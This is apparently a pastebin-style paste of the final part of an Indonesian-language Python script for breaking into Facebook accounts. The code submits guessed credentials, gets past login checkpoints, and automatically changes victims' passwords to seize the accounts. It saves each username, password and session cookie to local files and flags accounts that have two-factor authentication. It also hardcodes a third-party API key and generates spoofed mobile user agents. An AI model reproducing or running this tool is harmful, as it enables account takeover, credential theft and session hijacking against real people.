  1797.         if(len(cek)==0):
  1798.             if "Lihat Detail Login Yang Ditampilkan. Ini Anda?" in title:
  1799.                 if "ubah_sandi" in ubah_pass:
  1800.                     dat,dat2={},{}
  1801.                     but=["submit[Yes]","nh","fb_dtsg","jazoest","checkpoint_data"]
  1802.                     for x in response("input"):
  1803.                         if x.get("name") in but:
  1804.                             dat.update({x.get("name"):x.get("value")})
  1805.                     ubahPw=session.post(url+link2.get("action"),data=dat).text
  1806.                     resUbah=bs4.BeautifulSoup(ubahPw,"html.parser")
  1807.                     link3=resUbah.find("form",{"method":"post"})
  1808.                     but2=["submit[Next]","nh","fb_dtsg","jazoest"]
  1809.                     if "Buat Kata Sandi Baru" in re.findall("\<title>(.*?)<\/title>",str(ubahPw)):
  1810.                         for b in resUbah("input"):
  1811.                             dat2.update({b.get("name"):b.get("value")})
  1812.                         dat2.update({"password_new":"".join(pwbaru)})
  1813.                         an=session.post(url+link3.get("action"),data=dat2)
  1814.                         coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
  1815.                         print("\r%s%s\033[0mAkun One Tab, Sandi Berhasil Di Ubah \n ╰─  OK %s%s%s|%s|%s         "%(H,til,N,H,user,pwbaru[0],coki))
  1816.                         open('OK/OK-%s.txt' %(waktu), 'a').write("%s%s|%s|%s\n" % (H,user,pwbaru[0],coki))
  1817.                         #cek_apk(coki)
  1818.                 else:
  1819.                     print("\r%s%s \033[0mAkun One Tab, Silahkan Anda Login      "%(H,til))
  1820.                     open('OK/OK-%s.txt' %(waktu), 'a').write("%s %s|%s|%s\n" % (H,user,pw,coki))
  1821.                     #cek_apk(coki)
  1822.             elif "Masukkan Kode Masuk untuk Melanjutkan" in re.findall("\<title>(.*?)<\/title>",str(response)):
  1823.                 print("\r%s ╰─  \033[0mAkun Terpasang Autentikasi Dua Faktor            "%(M))
  1824.             else:
  1825.                 print("%s%s\033[0mTerjadi Kesalahan"%(M,til))
  1826.         else:
  1827.             if "c_user" in session.cookies.get_dict():
  1828.                 print("\r%s%s Akun Tidak Checkpoint, Silahkan Anda Login "%(H))
  1829.                 open('OK/OK-%s.txt' %(waktu), 'a').write("%s%s|%s\n" % (H,user,pw))
  1830.         for opsi in range(len(cek)):
  1831.             number +=1
  1832.             jalan ("  %s%s. %s%s"%(P,str(number),K,cek[opsi]))
  1833.     elif "login_error" in str(response):
  1834.         oh = run.find("div",{"id":"login_error"}).find("div").text
  1835.         print("%s ╰─  %s"%(M,oh))
  1836.     else:
  1837.         print("%s ╰─  \033[0mLogin Gagal, Silahkan Cek Kembali Id Dan Kata Sandi"%(M))
  1838.          
  1839. def scarpping_ua():
  1840.     # Url & Headers website #
  1841.    
  1842.    
  1843.     url = "https://api.apilayer.com/user_agent/generate?android=true&chrome=true"
  1844.     header = {"apikey": "2ZxXnjQByF6rPu3GM5DtcEmrJfKqB5xL"}
  1845.    
  1846.     # Main menu #
  1847.    
  1848.   #  os.system('clear')
  1849.     try:
  1850.         response = requests.get(url,headers=header)
  1851.         if response.status_code == 200:
  1852.             uascrap.append(response.json()['ua'])
  1853.         else:
  1854.             uascrap.append("Mozilla/5.0 (Linux; Android 11; RMX3501) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Mobile Safari/537.36")
  1855.     except requests.exceptions.ConnectionError:
  1856.         uascrap.append("Mozilla/5.0 (Linux; Android 11; RMX3501) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Mobile Safari/537.36")
  1857.  
  1858. #-----------------------[ SYSTEM-CONTROL ]--------------------#
  1859. if __name__=='__main__':
  1860.     try:os.system('git pull')
  1861.     except:pass
  1862.     try:os.mkdir('OK')
  1863.     except:pass
  1864.     try:os.mkdir('CP')
  1865.     except:pass
  1866.     try:os.mkdir('DUMP')
  1867.     except:pass
  1868.     try:os.system('touch .prox.txt')
  1869.     except:pass
  1870.     try:os.system('clear')
  1871.     except:pass
  1872.     login()
  1873.  
Add Comment
Please, Sign In to add comment